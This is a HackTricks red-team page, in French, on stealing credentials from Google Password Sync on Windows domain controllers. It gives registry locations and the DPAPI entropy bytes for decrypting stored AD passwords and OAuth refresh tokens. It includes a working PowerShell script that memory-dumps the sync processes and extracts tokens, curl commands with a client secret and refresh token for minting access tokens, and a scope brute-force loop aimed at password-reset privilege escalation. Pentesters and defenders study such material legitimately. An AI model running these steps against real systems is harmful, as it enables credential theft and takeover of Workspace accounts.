GPS - Google Password Sync
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Ceci est le binaire et le service que Google propose pour maintenir synchronisés les mots de passe des utilisateurs entre l'AD et Workspace. Chaque fois qu'un utilisateur change son mot de passe dans l'AD, il est défini sur Google.
Il est installé dans C:\Program Files\Google\Password Sync
où vous pouvez trouver le binaire PasswordSync.exe
pour le configurer et password_sync_service.exe
(le service qui continuera à fonctionner).
GPS - Configuration
Pour configurer ce binaire (et service), il est nécessaire de lui donner accès à un principal Super Admin dans Workspace :
- Se connecter via OAuth avec Google et ensuite il stockera un jeton dans le registre (chiffré)
- Disponible uniquement sur les contrôleurs de domaine avec interface graphique
- Fournir des identifiants de compte de service de GCP (fichier json) avec des permissions pour gérer les utilisateurs de Workspace
- Très mauvaise idée car ces identifiants n'expirent jamais et pourraient être mal utilisés
- Très mauvaise idée de donner un accès SA sur Workspace car le SA pourrait être compromis dans GCP et il serait possible de pivoter vers Workspace
- Google l'exige pour les contrôleurs de domaine sans interface graphique
- Ces identifiants sont également stockés dans le registre
Concernant l'AD, il est possible d'indiquer d'utiliser le contexte d'applications actuel, anonyme ou des identifiants spécifiques. Si l'option d'identifiants est sélectionnée, le nom d'utilisateur est stocké dans un fichier sur le disque et le mot de passe est chiffré et stocké dans le registre.
GPS - Dumping du mot de passe et du jeton depuis le disque
tip
Notez que Winpeas est capable de détecter GPS, d'obtenir des informations sur la configuration et même de déchiffrer le mot de passe et le jeton.
Dans le fichier C:\ProgramData\Google\Google Apps Password Sync\config.xml
, il est possible de trouver une partie de la configuration comme le baseDN
de l'AD configuré et le nom d'utilisateur
dont les identifiants sont utilisés.
Dans le registre HKLM\Software\Google\Google Apps Password Sync
, il est possible de trouver le jeton de rafraîchissement chiffré et le mot de passe chiffré pour l'utilisateur AD (le cas échéant). De plus, si au lieu d'un jeton, des identifiants SA sont utilisés, il est également possible de les trouver chiffrés à cette adresse de registre. Les valeurs à l'intérieur de ce registre ne sont accessibles que par les Administrateurs.
Le mot de passe chiffré (le cas échéant) se trouve dans la clé ADPassword
et est chiffré en utilisant l'API CryptProtectData
. Pour le déchiffrer, vous devez être le même utilisateur que celui qui a configuré la synchronisation des mots de passe et utiliser cette entropie lors de l'utilisation de CryptUnprotectData
: byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };
Le jeton chiffré (le cas échéant) se trouve dans la clé AuthToken
et est chiffré en utilisant l'API CryptProtectData
. Pour le déchiffrer, vous devez être le même utilisateur que celui qui a configuré la synchronisation des mots de passe et utiliser cette entropie lors de l'utilisation de CryptUnprotectData
: byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
De plus, il est également encodé en base32hex avec le dictionnaire 0123456789abcdefghijklmnopqrstv
.
Les valeurs d'entropie ont été trouvées en utilisant l'outil. Il a été configuré pour surveiller les appels à CryptUnprotectData
et CryptProtectData
et ensuite l'outil a été utilisé pour lancer et surveiller PasswordSync.exe
qui déchiffrera le mot de passe et le jeton d'authentification configurés au début et l'outil affichera les valeurs pour l'entropie utilisée dans les deux cas :

Notez qu'il est également possible de voir les valeurs déchiffrées dans l'entrée ou la sortie des appels à ces API également (au cas où à un moment donné Winpeas cesserait de fonctionner).
Dans le cas où la synchronisation des mots de passe a été configurée avec des identifiants SA, elle sera également stockée dans des clés à l'intérieur du registre HKLM\Software\Google\Google Apps Password Sync
.
GPS - Dumping des jetons depuis la mémoire
Tout comme avec GCPW, il est possible de dumper la mémoire du processus de PasswordSync.exe
et des processus password_sync_service.exe
et vous pourrez trouver des jetons de rafraîchissement et d'accès (s'ils ont déjà été générés).
Je suppose que vous pourriez également trouver les identifiants configurés de l'AD.
Dump PasswordSync.exe
et les processus password_sync_service.exe
et rechercher des jetons
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Show EULA if it wasn't accepted yet for strings
$stringsPath
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
GPS - Génération de jetons d'accès à partir de jetons d'actualisation
En utilisant le jeton d'actualisation, il est possible de générer des jetons d'accès en utilisant celui-ci ainsi que l'ID client et le secret client spécifiés dans la commande suivante :
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
GPS - Scopes
note
Notez qu'il n'est pas possible de demander n'importe quel scope pour le jeton d'accès même en ayant un jeton de rafraîchissement, car vous ne pouvez demander que les scopes pris en charge par l'application où vous générez le jeton d'accès.
De plus, le jeton de rafraîchissement n'est pas valide dans toutes les applications.
Par défaut, GPS n'aura pas accès en tant qu'utilisateur à tous les scopes OAuth possibles, donc en utilisant le script suivant, nous pouvons trouver les scopes qui peuvent être utilisés avec le refresh_token
pour générer un access_token
:
Bash script to brute-force scopes
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done
echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
Et voici le résultat que j'ai obtenu au moment de l'écriture :
https://www.googleapis.com/auth/admin.directory.user
Le même que celui que vous obtenez si vous n'indiquez aucun champ.
caution
Avec ce champ, vous pourriez modifier le mot de passe d'un utilisateur existant pour élever les privilèges.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.